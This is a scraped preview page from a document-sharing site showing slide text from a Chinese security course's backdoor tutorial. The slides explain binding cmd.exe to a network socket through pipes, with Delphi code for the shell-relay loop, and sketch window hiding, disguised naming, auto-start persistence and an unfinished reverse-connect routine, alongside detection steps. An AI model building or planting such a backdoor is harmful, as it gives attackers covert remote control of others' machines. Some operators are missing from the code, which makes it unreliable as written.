- 1、本文档共123页,可阅读全部内容。
- 2、原创力文档(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
- 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
查看更多
07-后门教程
信息对抗技术;;;后门的功能;最简单的后门;获得一个远程shell;;;查询管道中是否有数据可读
BOOL PeekNamedPipe(
HANDLE hNamedPipe, // handle to pipe to copy from
LPVOID lpBuffer, // pointer to data buffer
DWORD nBufferSize, // size, in bytes, of data buffer
LPDWORD lpBytesRead, // pointer to number of bytes read
LPDWORD lpTotalBytesAvail, // pointer to total number of
//bytes available
LPDWORD lpBytesLeftThisMessage // pointer to unread bytes
//in this message
);;;和cmd绑定的步骤;构造两对管道,一对替换标准输出和错误输出,一对替换标准输入;用CreateProcess执行cmd.exe;然后通过正常的listen, bind,accept打开一个服务;通过管道和socket收发数据;ReadOutput:
if not PeekNamedPipe(FRH, @FBuf[0], SizeOf(FBuf), @N, @TN, 0) then
begin
CloseSocket(ClientFD);
Exit;
end;
DebugMsg(after Peek + IntTostr(N));
if N 0 then
begin
if not ReadFile(FRH, FBuf[0], N, NRead, nil) then
begin
CloseSocket(ClientFD);
Exit;
end;
DebugMsg(after readfile + IntTostr(N));
Sum := N;
Ptr := PChar(@FBuf[0]);
while Sum 0 do
begin
NSent := Send(ClientFD, Ptr^, Sum, 0);
Sum := Sum - NSent;
Ptr := Ptr + NSent;
end;
Sleep(100);//let cmd process send chars left
goto ReadOutPut;
end;
FReadN := Recv(ClientFD, FBuf, SizeOf(FBuf), 0);
DebugMsg(after recv + IntTostr(FReadN));
WriteFile(FWH, FBuf, FReadN, N, nil);
Sleep(100); //let cmd process work
Goto ReadOutput;
;;隐藏svr的窗体;取一个好名字伪装;自动启动后门;;;加入设定自动启动的逻辑;反击,发现后门;防御后门自动启动;防止后门的端口监听;自己用netstat作一个简单的监听端口分析程序;生命总会有出路 后门的反击;;自己实现强制命令行;var
ToConnect: sockaddr_in;
Sum, SendFD, ret, SvrSock: Integer;
wsa: TWSAData;
iAddrSize, ClientFD, NSent: Integer;
N, TN, NRead: Cardinal;
Ptr: PChar;
label
ReadOutput;
begin
WSAStartup($0101,wsa);
SendFD := socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
ToConnect.sin_family := AF_INET;
ToConnect.sin_port := htons(_Port
文档评论(0)